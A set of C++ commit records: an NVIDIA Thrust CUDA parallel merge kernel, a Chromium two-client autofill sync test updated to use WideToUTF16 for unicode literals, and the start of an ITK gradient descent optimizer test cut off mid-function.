workaround\n {\n __host__ __device__\n static RandomAccessIterator3 parallel_path(execution_policy<DerivedPolicy> &exec,\n RandomAccessIterator1 first1,\n RandomAccessIterator1 last1,\n RandomAccessIterator2 first2,\n RandomAccessIterator2 last2,\n RandomAccessIterator3 result,\n Compare comp)\n {\n return thrust::system::cuda::detail::merge_detail::merge(exec, first1, last1, first2, last2, result, comp);\n }\n\n __host__ __device__\n static RandomAccessIterator3 sequential_path(execution_policy<DerivedPolicy> &,\n RandomAccessIterator1 first1,\n RandomAccessIterator1 last1,\n RandomAccessIterator2 first2,\n RandomAccessIterator2 last2,\n RandomAccessIterator3 result,\n Compare comp)\n {\n return thrust::merge(thrust::seq, first1, last1, first2, last2, result, comp);\n }\n };\n\n#if __BULK_HAS_CUDART__\n return workaround::parallel_path(exec, first1, last1, first2, last2, result, comp);\n#else\n return workaround::sequential_path(exec, first1, last1, first2, last2, result, comp);\n#endif\n} \/\/ end merge()\n\n\n} \/\/ end namespace detail\n} \/\/ end namespace cuda\n} \/\/ end namespace system\n} \/\/ end namespace thrust\n\n<commit_msg>Generalized merge_kernel::operator() to use two difference_type size parameters<commit_after>\/*\n * Copyright 2008-2013 NVIDIA Corporation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <thrust\/detail\/config.h>\n#include <thrust\/merge.h>\n#include <thrust\/detail\/seq.h>\n#include <thrust\/system\/cuda\/detail\/merge.h>\n#include <thrust\/system\/cuda\/detail\/bulk.h>\n#include <thrust\/detail\/temporary_array.h>\n#include <thrust\/tabulate.h>\n#include <thrust\/iterator\/detail\/join_iterator.h>\n#include <thrust\/detail\/minmax.h>\n#include <thrust\/system\/cuda\/detail\/execute_on_stream.h>\n\nnamespace thrust\n{\nnamespace system\n{\nnamespace cuda\n{\nnamespace detail\n{\nnamespace merge_detail\n{\n\n\ntemplate<std::size_t groupsize, std::size_t grainsize, typename RandomAccessIterator1, typename Size,typename RandomAccessIterator2, typename RandomAccessIterator3, typename RandomAccessIterator4, typename Compare>\n__device__\nRandomAccessIterator4\n staged_merge(bulk_::concurrent_group<bulk_::agent<grainsize>,groupsize> &exec,\n RandomAccessIterator1 first1, Size n1,\n RandomAccessIterator2 first2, Size n2,\n RandomAccessIterator3 stage,\n RandomAccessIterator4 result,\n Compare comp)\n{\n \/\/ copy into the stage\n bulk_::copy_n(bulk_::bound<groupsize * grainsize>(exec),\n thrust::detail::make_join_iterator(first1, n1, first2),\n n1 + n2,\n stage);\n\n \/\/ inplace merge in the stage\n bulk_::inplace_merge(bulk_::bound<groupsize * grainsize>(exec),\n stage, stage + n1, stage + n1 + n2,\n comp);\n \n \/\/ copy to the result\n \/\/ XXX this might be slightly faster with a bounded copy_n\n return bulk_::copy_n(exec, stage, n1 + n2, result);\n} \/\/ end staged_merge()\n\n\nstruct merge_kernel\n{\n template<std::size_t groupsize, std::size_t grainsize, typename RandomAccessIterator1, typename Size1, typename RandomAccessIterator2, typename Size2, typename RandomAccessIterator3, typename RandomAccessIterator4, typename Compare>\n __device__\n void operator()(bulk_::concurrent_group<bulk_::agent<grainsize>,groupsize> &g,\n RandomAccessIterator1 first1, Size1 n1,\n RandomAccessIterator2 first2, Size2 n2,\n RandomAccessIterator3 merge_paths_first,\n RandomAccessIterator4 result,\n Compare comp)\n {\n typedef int size_type;\n\n size_type elements_per_group = g.size() * g.this_exec.grainsize();\n\n \/\/ determine the ranges to merge\n size_type mp0 = merge_paths_first[g.index()];\n size_type mp1 = merge_paths_first[g.index()+1];\n size_type diag = elements_per_group * g.index();\n\n size_type local_size1 = mp1 - mp0;\n size_type local_size2 = thrust::min<size_type>(n1 + n2, diag + elements_per_group) - mp1 - diag + mp0;\n\n first1 += mp0;\n first2 += diag - mp0;\n result += elements_per_group * g.index();\n\n \/\/ XXX this assumes that RandomAccessIterator2's value_type converts to RandomAccessIterator1's value_type\n typedef typename thrust::iterator_value<RandomAccessIterator1>::type value_type;\n\n#if __CUDA_ARCH__ >= 200\n \/\/ merge through a stage\n value_type *stage = reinterpret_cast<value_type*>(bulk_::malloc(g, elements_per_group * sizeof(value_type)));\n\n if(bulk_::is_on_chip(stage))\n {\n staged_merge(g,\n first1, local_size1,\n first2, local_size2,\n bulk_::on_chip_cast(stage),\n result,\n comp);\n } \/\/ end if\n else\n {\n staged_merge(g,\n first1, local_size1,\n first2, local_size2,\n stage,\n result,\n comp);\n } \/\/ end else\n\n bulk_::free(g, stage);\n#else\n __shared__ bulk_::uninitialized_array<value_type, groupsize * grainsize> stage;\n staged_merge(g, first1, local_size1, first2, local_size2, stage.data(), result, comp);\n#endif\n } \/\/ end operator()\n}; \/\/ end merge_kernel\n\n\ntemplate<typename Size, typename RandomAccessIterator1,typename RandomAccessIterator2, typename Compare>\nstruct locate_merge_path\n{\n Size partition_size;\n RandomAccessIterator1 first1, last1;\n RandomAccessIterator2 first2, last2;\n Compare comp;\n\n __host__ __device__\n locate_merge_path(Size partition_size, RandomAccessIterator1 first1, RandomAccessIterator1 last1, RandomAccessIterator2 first2, RandomAccessIterator2 last2, Compare comp)\n : partition_size(partition_size),\n first1(first1), last1(last1),\n first2(first2), last2(last2),\n comp(comp)\n {}\n\n template<typename Index>\n __device__\n Size operator()(Index i)\n {\n Size n1 = last1 - first1;\n Size n2 = last2 - first2;\n Size diag = thrust::min<Size>(partition_size * i, n1 + n2);\n return bulk_::merge_path(first1, n1, first2, n2, diag, comp);\n }\n};\n\n\ntemplate<typename DerivedPolicy,\n typename RandomAccessIterator1,\n typename RandomAccessIterator2, \n\t typename RandomAccessIterator3,\n typename Compare>\n__host__ __device__\nRandomAccessIterator3 merge(execution_policy<DerivedPolicy> &exec,\n RandomAccessIterator1 first1,\n RandomAccessIterator1 last1,\n RandomAccessIterator2 first2,\n RandomAccessIterator2 last2,\n RandomAccessIterator3 result,\n Compare comp)\n{\n typedef typename thrust::iterator_value<RandomAccessIterator1>::type value_type;\n typedef typename thrust::iterator_difference<RandomAccessIterator1>::type difference_type;\n typedef int size_type;\n\n \/\/ determined through empirical testing on K20c\n const size_type groupsize = (sizeof(value_type) == sizeof(int)) ? 256 : 256 + 32;\n const size_type grainsize = (sizeof(value_type) == sizeof(int)) ? 9 : 5;\n \n const size_type tile_size = groupsize * grainsize;\n\n difference_type n = (last1 - first1) + (last2 - first2);\n difference_type num_groups = (n + tile_size - 1) \/ tile_size;\n\n thrust::detail::temporary_array<size_type,DerivedPolicy> merge_paths(exec, num_groups + 1);\n\n thrust::tabulate(exec, merge_paths.begin(), merge_paths.end(), merge_detail::locate_merge_path<size_type,RandomAccessIterator1,RandomAccessIterator2,Compare>(tile_size,first1,last1,first2,last2,comp));\n\n \/\/ merge partitions\n size_type heap_size = tile_size * sizeof(value_type);\n bulk_::concurrent_group<bulk_::agent<grainsize>,groupsize> g(heap_size);\n bulk_::async(bulk_::par(stream(thrust::detail::derived_cast(exec)), g, num_groups), merge_detail::merge_kernel(), bulk_::root.this_exec, first1, last1 - first1, first2, last2 - first2, merge_paths.begin(), result, comp);\n\n return result + n;\n} \/\/ end merge()\n\n\n} \/\/ end merge_detail\n\n\ntemplate<typename DerivedPolicy,\n typename RandomAccessIterator1,\n typename RandomAccessIterator2, \n\t typename RandomAccessIterator3,\n typename Compare>\n__host__ __device__\nRandomAccessIterator3 merge(execution_policy<DerivedPolicy> &exec,\n RandomAccessIterator1 first1,\n RandomAccessIterator1 last1,\n RandomAccessIterator2 first2,\n RandomAccessIterator2 last2,\n RandomAccessIterator3 result,\n Compare comp)\n{\n \/\/ we're attempting to launch a kernel, assert we're compiling with nvcc\n \/\/ ========================================================================\n \/\/ X Note to the user: If you've found this line due to a compiler error, X\n \/\/ X you need to compile your code using nvcc, rather than g++ or cl.exe X\n \/\/ ========================================================================\n THRUST_STATIC_ASSERT( (thrust::detail::depend_on_instantiation<RandomAccessIterator1, THRUST_DEVICE_COMPILER == THRUST_DEVICE_COMPILER_NVCC>::value) );\n\n struct workaround\n {\n __host__ __device__\n static RandomAccessIterator3 parallel_path(execution_policy<DerivedPolicy> &exec,\n RandomAccessIterator1 first1,\n RandomAccessIterator1 last1,\n RandomAccessIterator2 first2,\n RandomAccessIterator2 last2,\n RandomAccessIterator3 result,\n Compare comp)\n {\n return thrust::system::cuda::detail::merge_detail::merge(exec, first1, last1, first2, last2, result, comp);\n }\n\n __host__ __device__\n static RandomAccessIterator3 sequential_path(execution_policy<DerivedPolicy> &,\n RandomAccessIterator1 first1,\n RandomAccessIterator1 last1,\n RandomAccessIterator2 first2,\n RandomAccessIterator2 last2,\n RandomAccessIterator3 result,\n Compare comp)\n {\n return thrust::merge(thrust::seq, first1, last1, first2, last2, result, comp);\n }\n };\n\n#if __BULK_HAS_CUDART__\n return workaround::parallel_path(exec, first1, last1, first2, last2, result, comp);\n#else\n return workaround::sequential_path(exec, first1, last1, first2, last2, result, comp);\n#endif\n} \/\/ end merge()\n\n\n} \/\/ end namespace detail\n} \/\/ end namespace cuda\n} \/\/ end namespace system\n} \/\/ end namespace thrust\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <set>\n#include <vector>\n\n#include \"base\/command_line.h\"\n#include \"base\/ref_counted.h\"\n#include \"base\/string16.h\"\n#include \"base\/string_util.h\"\n#include \"base\/waitable_event.h\"\n#include \"chrome\/browser\/browser.h\"\n#include \"chrome\/browser\/pref_service.h\"\n#include \"chrome\/browser\/profile.h\"\n#include \"chrome\/browser\/sync\/profile_sync_service.h\"\n#include \"chrome\/browser\/webdata\/autofill_entry.h\"\n#include \"chrome\/browser\/webdata\/web_database.h\"\n#include \"chrome\/browser\/webdata\/web_data_service.h\"\n#include \"chrome\/browser\/webdata\/web_data_service_test_util.h\"\n#include \"chrome\/common\/notification_observer_mock.h\"\n#include \"chrome\/common\/notification_service.h\"\n#include \"chrome\/common\/notification_type.h\"\n#include \"chrome\/common\/pref_names.h\"\n#include \"chrome\/test\/live_sync\/profile_sync_service_test_harness.h\"\n#include \"chrome\/test\/live_sync\/live_sync_test.h\"\n#include \"chrome\/test\/thread_observer_helper.h\"\n#include \"testing\/gmock\/include\/gmock\/gmock.h\"\n#include \"webkit\/glue\/form_field.h\"\n\nusing base::WaitableEvent;\nusing testing::_;\n\nnamespace {\n\n\/\/ Define these << operators so we can use EXPECT_EQ with the\n\/\/ AutofillKeys type.\ntemplate<class T1, class T2, class T3>\nstd::ostream& operator<<(std::ostream& os, const std::set<T1, T2, T3>& seq) {\n typedef typename std::set<T1, T2, T3>::const_iterator SetConstIterator;\n for (SetConstIterator i = seq.begin(); i != seq.end(); ++i) {\n os << *i << \", \";\n }\n return os;\n}\n\nstd::ostream& operator<<(std::ostream& os, const AutofillKey& key) {\n return os << UTF16ToUTF8(key.name()) << \", \" << UTF16ToUTF8(key.value());\n}\n\nclass GetAllAutofillEntries\n : public base::RefCountedThreadSafe<GetAllAutofillEntries> {\n public:\n explicit GetAllAutofillEntries(WebDataService* web_data_service)\n : web_data_service_(web_data_service),\n done_event_(false, false) {}\n\n void Init() {\n DCHECK(ChromeThread::CurrentlyOn(ChromeThread::UI));\n ChromeThread::PostTask(\n ChromeThread::DB,\n FROM_HERE,\n NewRunnableMethod(this, &GetAllAutofillEntries::Run));\n done_event_.Wait();\n }\n\n const std::vector<AutofillEntry>& entries() const {\n return entries_;\n }\n\n private:\n friend class base::RefCountedThreadSafe<GetAllAutofillEntries>;\n\n void Run() {\n DCHECK(ChromeThread::CurrentlyOn(ChromeThread::DB));\n web_data_service_->GetDatabase()->GetAllAutofillEntries(&entries_);\n done_event_.Signal();\n }\n\n WebDataService* web_data_service_;\n base::WaitableEvent done_event_;\n std::vector<AutofillEntry> entries_;\n};\n\nACTION_P(SignalEvent, event) {\n event->Signal();\n}\n\nclass AutofillDBThreadObserverHelper : public DBThreadObserverHelper {\n protected:\n virtual void RegisterObservers() {\n registrar_.Add(&observer_,\n NotificationType::AUTOFILL_ENTRIES_CHANGED,\n NotificationService::AllSources());\n registrar_.Add(&observer_,\n NotificationType::AUTOFILL_PROFILE_CHANGED,\n NotificationService::AllSources());\n }\n};\n\n} \/\/ namespace;\n\nclass TwoClientLiveAutofillSyncTest : public LiveSyncTest {\n public:\n typedef std::set<AutofillKey> AutofillKeys;\n TwoClientLiveAutofillSyncTest()\n : name1_(ASCIIToUTF16(\"name1\")),\n name2_(ASCIIToUTF16(\"name2\")),\n value1_(ASCIIToUTF16(\"value1\")),\n value2_(ASCIIToUTF16(\"value2\")),\n done_event1_(false, false),\n done_event2_(false, false) {\n \/\/ This makes sure browser is visible and active while running test.\n InProcessBrowserTest::set_show_window(true);\n \/\/ Set the initial timeout value to 5 min.\n InProcessBrowserTest::SetInitialTimeoutInMS(300000);\n }\n ~TwoClientLiveAutofillSyncTest() {}\n\n protected:\n void SetupHarness() {\n client1_.reset(new ProfileSyncServiceTestHarness(\n browser()->profile(), username_, password_));\n profile2_.reset(MakeProfile(FILE_PATH_LITERAL(\"client2\")));\n client2_.reset(new ProfileSyncServiceTestHarness(\n profile2_.get(), username_, password_));\n wds1_ = browser()->profile()->GetWebDataService(Profile::EXPLICIT_ACCESS);\n wds2_ = profile2_->GetWebDataService(Profile::EXPLICIT_ACCESS);\n }\n\n void SetupSync() {\n EXPECT_TRUE(client1_->SetupSync());\n EXPECT_TRUE(client1_->AwaitSyncCycleCompletion(\"Initial setup 1\"));\n EXPECT_TRUE(client2_->SetupSync());\n EXPECT_TRUE(client2_->AwaitSyncCycleCompletion(\"Initial setup 2\"));\n }\n\n void Cleanup() {\n client2_.reset();\n profile2_.reset();\n }\n\n void AddToWds(WebDataService* wds, const AutofillKeys& keys) {\n std::vector<webkit_glue::FormField> form_fields;\n for (AutofillKeys::const_iterator i = keys.begin(); i != keys.end(); ++i) {\n form_fields.push_back(\n webkit_glue::FormField(string16(),\n (*i).name(),\n (*i).value(),\n string16()));\n }\n\n WaitableEvent done_event(false, false);\n scoped_refptr<AutofillDBThreadObserverHelper> observer_helper(\n new AutofillDBThreadObserverHelper());\n observer_helper->Init();\n\n EXPECT_CALL(*observer_helper->observer(), Observe(_, _, _)).\n WillOnce(SignalEvent(&done_event));\n wds->AddFormFields(form_fields);\n done_event.Wait();\n }\n\n void GetAllAutofillKeys(WebDataService* wds, AutofillKeys* keys) {\n scoped_refptr<GetAllAutofillEntries> get_all_entries =\n new GetAllAutofillEntries(wds);\n get_all_entries->Init();\n const std::vector<AutofillEntry>& entries = get_all_entries->entries();\n\n for (size_t i = 0; i < entries.size(); ++i) {\n keys->insert(entries[i].key());\n }\n }\n\n ProfileSyncServiceTestHarness* client1() { return client1_.get(); }\n ProfileSyncServiceTestHarness* client2() { return client2_.get(); }\n\n PrefService* prefs1() { return browser()->profile()->GetPrefs(); }\n PrefService* prefs2() { return profile2_->GetPrefs(); }\n\n string16 name1_;\n string16 name2_;\n string16 value1_;\n string16 value2_;\n base::WaitableEvent done_event1_;\n base::WaitableEvent done_event2_;\n\n scoped_ptr<ProfileSyncServiceTestHarness> client1_;\n scoped_ptr<ProfileSyncServiceTestHarness> client2_;\n scoped_ptr<Profile> profile2_;\n WebDataService* wds1_;\n WebDataService* wds2_;\n\n DISALLOW_COPY_AND_ASSIGN(TwoClientLiveAutofillSyncTest);\n};\n\nIN_PROC_BROWSER_TEST_F(TwoClientLiveAutofillSyncTest, Client1HasData) {\n SetupHarness();\n\n AutofillKeys keys;\n keys.insert(AutofillKey(\"name1\", \"value1\"));\n keys.insert(AutofillKey(\"name1\", \"value2\"));\n keys.insert(AutofillKey(\"name2\", \"value3\"));\n keys.insert(AutofillKey(\"Sigur R\\u00F3s\", \"\\u00C1g\\u00E6tis byrjun\"));\n AddToWds(wds1_, keys);\n\n SetupSync();\n\n AutofillKeys wd2_keys;\n GetAllAutofillKeys(wds2_, &wd2_keys);\n EXPECT_EQ(keys, wd2_keys);\n\n Cleanup();\n}\n\nIN_PROC_BROWSER_TEST_F(TwoClientLiveAutofillSyncTest, BothHaveData) {\n SetupHarness();\n\n AutofillKeys keys1;\n keys1.insert(AutofillKey(\"name1\", \"value1\"));\n keys1.insert(AutofillKey(\"name1\", \"value2\"));\n keys1.insert(AutofillKey(\"name2\", \"value3\"));\n AddToWds(wds1_, keys1);\n\n AutofillKeys keys2;\n keys2.insert(AutofillKey(\"name1\", \"value2\"));\n keys2.insert(AutofillKey(\"name2\", \"value3\"));\n keys2.insert(AutofillKey(\"name3\", \"value4\"));\n keys2.insert(AutofillKey(\"name4\", \"value4\"));\n AddToWds(wds2_, keys2);\n\n SetupSync();\n \/\/ Wait for client1 to get the new keys from client2.\n EXPECT_TRUE(client1()->AwaitSyncCycleCompletion(\"sync cycle\"));\n\n AutofillKeys expected_keys;\n expected_keys.insert(AutofillKey(\"name1\", \"value1\"));\n expected_keys.insert(AutofillKey(\"name1\", \"value2\"));\n expected_keys.insert(AutofillKey(\"name2\", \"value3\"));\n expected_keys.insert(AutofillKey(\"name3\", \"value4\"));\n expected_keys.insert(AutofillKey(\"name4\", \"value4\"));\n\n AutofillKeys wd1_keys;\n GetAllAutofillKeys(wds1_, &wd1_keys);\n EXPECT_EQ(expected_keys, wd1_keys);\n\n AutofillKeys wd2_keys;\n GetAllAutofillKeys(wds2_, &wd2_keys);\n EXPECT_EQ(expected_keys, wd2_keys);\n\n Cleanup();\n}\n\nIN_PROC_BROWSER_TEST_F(TwoClientLiveAutofillSyncTest, Steady) {\n SetupHarness();\n SetupSync();\n\n AutofillKeys add_one_key;\n add_one_key.insert(AutofillKey(\"name1\", \"value1\"));\n AddToWds(wds1_, add_one_key);\n\n AutofillKeys expected_keys;\n expected_keys.insert(AutofillKey(\"name1\", \"value1\"));\n\n EXPECT_TRUE(client1()->AwaitMutualSyncCycleCompletion(client2()));\n\n AutofillKeys keys;\n GetAllAutofillKeys(wds1_, &keys);\n EXPECT_EQ(expected_keys, keys);\n keys.clear();\n GetAllAutofillKeys(wds2_, &keys);\n EXPECT_EQ(expected_keys, keys);\n\n Cleanup();\n}\n<commit_msg>Embed unicode literals the correct way<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <set>\n#include <vector>\n\n#include \"base\/command_line.h\"\n#include \"base\/ref_counted.h\"\n#include \"base\/string16.h\"\n#include \"base\/string_util.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"base\/waitable_event.h\"\n#include \"chrome\/browser\/browser.h\"\n#include \"chrome\/browser\/pref_service.h\"\n#include \"chrome\/browser\/profile.h\"\n#include \"chrome\/browser\/sync\/profile_sync_service.h\"\n#include \"chrome\/browser\/webdata\/autofill_entry.h\"\n#include \"chrome\/browser\/webdata\/web_database.h\"\n#include \"chrome\/browser\/webdata\/web_data_service.h\"\n#include \"chrome\/browser\/webdata\/web_data_service_test_util.h\"\n#include \"chrome\/common\/notification_observer_mock.h\"\n#include \"chrome\/common\/notification_service.h\"\n#include \"chrome\/common\/notification_type.h\"\n#include \"chrome\/common\/pref_names.h\"\n#include \"chrome\/test\/live_sync\/profile_sync_service_test_harness.h\"\n#include \"chrome\/test\/live_sync\/live_sync_test.h\"\n#include \"chrome\/test\/thread_observer_helper.h\"\n#include \"testing\/gmock\/include\/gmock\/gmock.h\"\n#include \"webkit\/glue\/form_field.h\"\n\nusing base::WaitableEvent;\nusing testing::_;\n\nnamespace {\n\n\/\/ Define these << operators so we can use EXPECT_EQ with the\n\/\/ AutofillKeys type.\ntemplate<class T1, class T2, class T3>\nstd::ostream& operator<<(std::ostream& os, const std::set<T1, T2, T3>& seq) {\n typedef typename std::set<T1, T2, T3>::const_iterator SetConstIterator;\n for (SetConstIterator i = seq.begin(); i != seq.end(); ++i) {\n os << *i << \", \";\n }\n return os;\n}\n\nstd::ostream& operator<<(std::ostream& os, const AutofillKey& key) {\n return os << UTF16ToUTF8(key.name()) << \", \" << UTF16ToUTF8(key.value());\n}\n\nclass GetAllAutofillEntries\n : public base::RefCountedThreadSafe<GetAllAutofillEntries> {\n public:\n explicit GetAllAutofillEntries(WebDataService* web_data_service)\n : web_data_service_(web_data_service),\n done_event_(false, false) {}\n\n void Init() {\n DCHECK(ChromeThread::CurrentlyOn(ChromeThread::UI));\n ChromeThread::PostTask(\n ChromeThread::DB,\n FROM_HERE,\n NewRunnableMethod(this, &GetAllAutofillEntries::Run));\n done_event_.Wait();\n }\n\n const std::vector<AutofillEntry>& entries() const {\n return entries_;\n }\n\n private:\n friend class base::RefCountedThreadSafe<GetAllAutofillEntries>;\n\n void Run() {\n DCHECK(ChromeThread::CurrentlyOn(ChromeThread::DB));\n web_data_service_->GetDatabase()->GetAllAutofillEntries(&entries_);\n done_event_.Signal();\n }\n\n WebDataService* web_data_service_;\n base::WaitableEvent done_event_;\n std::vector<AutofillEntry> entries_;\n};\n\nACTION_P(SignalEvent, event) {\n event->Signal();\n}\n\nclass AutofillDBThreadObserverHelper : public DBThreadObserverHelper {\n protected:\n virtual void RegisterObservers() {\n registrar_.Add(&observer_,\n NotificationType::AUTOFILL_ENTRIES_CHANGED,\n NotificationService::AllSources());\n registrar_.Add(&observer_,\n NotificationType::AUTOFILL_PROFILE_CHANGED,\n NotificationService::AllSources());\n }\n};\n\n} \/\/ namespace;\n\nclass TwoClientLiveAutofillSyncTest : public LiveSyncTest {\n public:\n typedef std::set<AutofillKey> AutofillKeys;\n TwoClientLiveAutofillSyncTest()\n : name1_(ASCIIToUTF16(\"name1\")),\n name2_(ASCIIToUTF16(\"name2\")),\n value1_(ASCIIToUTF16(\"value1\")),\n value2_(ASCIIToUTF16(\"value2\")),\n done_event1_(false, false),\n done_event2_(false, false) {\n \/\/ This makes sure browser is visible and active while running test.\n InProcessBrowserTest::set_show_window(true);\n \/\/ Set the initial timeout value to 5 min.\n InProcessBrowserTest::SetInitialTimeoutInMS(300000);\n }\n ~TwoClientLiveAutofillSyncTest() {}\n\n protected:\n void SetupHarness() {\n client1_.reset(new ProfileSyncServiceTestHarness(\n browser()->profile(), username_, password_));\n profile2_.reset(MakeProfile(FILE_PATH_LITERAL(\"client2\")));\n client2_.reset(new ProfileSyncServiceTestHarness(\n profile2_.get(), username_, password_));\n wds1_ = browser()->profile()->GetWebDataService(Profile::EXPLICIT_ACCESS);\n wds2_ = profile2_->GetWebDataService(Profile::EXPLICIT_ACCESS);\n }\n\n void SetupSync() {\n EXPECT_TRUE(client1_->SetupSync());\n EXPECT_TRUE(client1_->AwaitSyncCycleCompletion(\"Initial setup 1\"));\n EXPECT_TRUE(client2_->SetupSync());\n EXPECT_TRUE(client2_->AwaitSyncCycleCompletion(\"Initial setup 2\"));\n }\n\n void Cleanup() {\n client2_.reset();\n profile2_.reset();\n }\n\n void AddToWds(WebDataService* wds, const AutofillKeys& keys) {\n std::vector<webkit_glue::FormField> form_fields;\n for (AutofillKeys::const_iterator i = keys.begin(); i != keys.end(); ++i) {\n form_fields.push_back(\n webkit_glue::FormField(string16(),\n (*i).name(),\n (*i).value(),\n string16()));\n }\n\n WaitableEvent done_event(false, false);\n scoped_refptr<AutofillDBThreadObserverHelper> observer_helper(\n new AutofillDBThreadObserverHelper());\n observer_helper->Init();\n\n EXPECT_CALL(*observer_helper->observer(), Observe(_, _, _)).\n WillOnce(SignalEvent(&done_event));\n wds->AddFormFields(form_fields);\n done_event.Wait();\n }\n\n void GetAllAutofillKeys(WebDataService* wds, AutofillKeys* keys) {\n scoped_refptr<GetAllAutofillEntries> get_all_entries =\n new GetAllAutofillEntries(wds);\n get_all_entries->Init();\n const std::vector<AutofillEntry>& entries = get_all_entries->entries();\n\n for (size_t i = 0; i < entries.size(); ++i) {\n keys->insert(entries[i].key());\n }\n }\n\n ProfileSyncServiceTestHarness* client1() { return client1_.get(); }\n ProfileSyncServiceTestHarness* client2() { return client2_.get(); }\n\n PrefService* prefs1() { return browser()->profile()->GetPrefs(); }\n PrefService* prefs2() { return profile2_->GetPrefs(); }\n\n string16 name1_;\n string16 name2_;\n string16 value1_;\n string16 value2_;\n base::WaitableEvent done_event1_;\n base::WaitableEvent done_event2_;\n\n scoped_ptr<ProfileSyncServiceTestHarness> client1_;\n scoped_ptr<ProfileSyncServiceTestHarness> client2_;\n scoped_ptr<Profile> profile2_;\n WebDataService* wds1_;\n WebDataService* wds2_;\n\n DISALLOW_COPY_AND_ASSIGN(TwoClientLiveAutofillSyncTest);\n};\n\nIN_PROC_BROWSER_TEST_F(TwoClientLiveAutofillSyncTest, Client1HasData) {\n SetupHarness();\n\n AutofillKeys keys;\n keys.insert(AutofillKey(\"name1\", \"value1\"));\n keys.insert(AutofillKey(\"name1\", \"value2\"));\n keys.insert(AutofillKey(\"name2\", \"value3\"));\n keys.insert(AutofillKey(WideToUTF16(L\"Sigur R\\u00F3s\"),\n WideToUTF16(L\"\\u00C1g\\u00E6tis byrjun\")));\n AddToWds(wds1_, keys);\n\n SetupSync();\n\n AutofillKeys wd2_keys;\n GetAllAutofillKeys(wds2_, &wd2_keys);\n EXPECT_EQ(keys, wd2_keys);\n\n Cleanup();\n}\n\nIN_PROC_BROWSER_TEST_F(TwoClientLiveAutofillSyncTest, BothHaveData) {\n SetupHarness();\n\n AutofillKeys keys1;\n keys1.insert(AutofillKey(\"name1\", \"value1\"));\n keys1.insert(AutofillKey(\"name1\", \"value2\"));\n keys1.insert(AutofillKey(\"name2\", \"value3\"));\n AddToWds(wds1_, keys1);\n\n AutofillKeys keys2;\n keys2.insert(AutofillKey(\"name1\", \"value2\"));\n keys2.insert(AutofillKey(\"name2\", \"value3\"));\n keys2.insert(AutofillKey(\"name3\", \"value4\"));\n keys2.insert(AutofillKey(\"name4\", \"value4\"));\n AddToWds(wds2_, keys2);\n\n SetupSync();\n \/\/ Wait for client1 to get the new keys from client2.\n EXPECT_TRUE(client1()->AwaitSyncCycleCompletion(\"sync cycle\"));\n\n AutofillKeys expected_keys;\n expected_keys.insert(AutofillKey(\"name1\", \"value1\"));\n expected_keys.insert(AutofillKey(\"name1\", \"value2\"));\n expected_keys.insert(AutofillKey(\"name2\", \"value3\"));\n expected_keys.insert(AutofillKey(\"name3\", \"value4\"));\n expected_keys.insert(AutofillKey(\"name4\", \"value4\"));\n\n AutofillKeys wd1_keys;\n GetAllAutofillKeys(wds1_, &wd1_keys);\n EXPECT_EQ(expected_keys, wd1_keys);\n\n AutofillKeys wd2_keys;\n GetAllAutofillKeys(wds2_, &wd2_keys);\n EXPECT_EQ(expected_keys, wd2_keys);\n\n Cleanup();\n}\n\nIN_PROC_BROWSER_TEST_F(TwoClientLiveAutofillSyncTest, Steady) {\n SetupHarness();\n SetupSync();\n\n AutofillKeys add_one_key;\n add_one_key.insert(AutofillKey(\"name1\", \"value1\"));\n AddToWds(wds1_, add_one_key);\n\n AutofillKeys expected_keys;\n expected_keys.insert(AutofillKey(\"name1\", \"value1\"));\n\n EXPECT_TRUE(client1()->AwaitMutualSyncCycleCompletion(client2()));\n\n AutofillKeys keys;\n GetAllAutofillKeys(wds1_, &keys);\n EXPECT_EQ(expected_keys, keys);\n keys.clear();\n GetAllAutofillKeys(wds2_, &keys);\n EXPECT_EQ(expected_keys, keys);\n\n Cleanup();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: Insight Segmentation & Registration Toolkit\n Module: itkRegularStepGradientDescentOptimizerTest.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n Copyright (c) Insight Software Consortium. All rights reserved.\n See ITKCopyright.txt or http:\/\/www.itk.org\/HTML\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even \n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n#if defined(_MSC_VER)\n#pragma warning ( disable : 4786 )\n#endif\n\n#include <itkRegularStepGradientDescentOptimizer.h>\n#include <vnl\/vnl_math.h>\n\n\/** \n * The objectif function is the quadratic form:\n *\n * 1\/2 x^T A x - b^T x\n *\n * Where A is a matrix and b is a vector\n * The system in this example is:\n *\n * | 3 2 ||x| | 2| |0|\n * | 2 6 ||y| + |-8| = |0|\n *\n *\n * the solution is the vector | 2 -2 |\n *\n *\/ \nclass RSGCostFunction : public itk::SingleValuedCostFunction \n{\npublic:\n\n typedef RSGCostFunction Self;\n typedef itk::SingleValuedCostFunction Superclass;\n typedef itk::SmartPointer<Self> Pointer;\n typedef itk::SmartPointer<const Self> ConstPointer;\n itkNewMacro( Self );\n\n enum { SpaceDimension=2 };\n \n typedef Superclass::ParametersType ParametersType;\n typedef Superclass::DerivativeType DerivativeType;\n typedef Superclass::MeasureType MeasureType ;\n\n\n RSGCostFunction() \n {\n }\n\n\n MeasureType GetValue( const ParametersType & parameters ) const\n { \n \n double x = parameters[0];\n double y = parameters[1];\n\n std::cout << \"GetValue( \" ;\n std::cout << x << \" \";\n std::cout << y << \") = \";\n\n MeasureType measure = 0.5*(3*x*x+4*x*y+6*y*y) - 2*x + 8*y;\n\n std::cout << measure << std::endl; \n return measure;\n\n }\n\n void GetDerivative( const ParametersType & parameters,\n DerivativeType & derivative ) const\n {\n\n double x = parameters[0];\n double y = parameters[1];\n\n std::cout << \"GetDerivative( 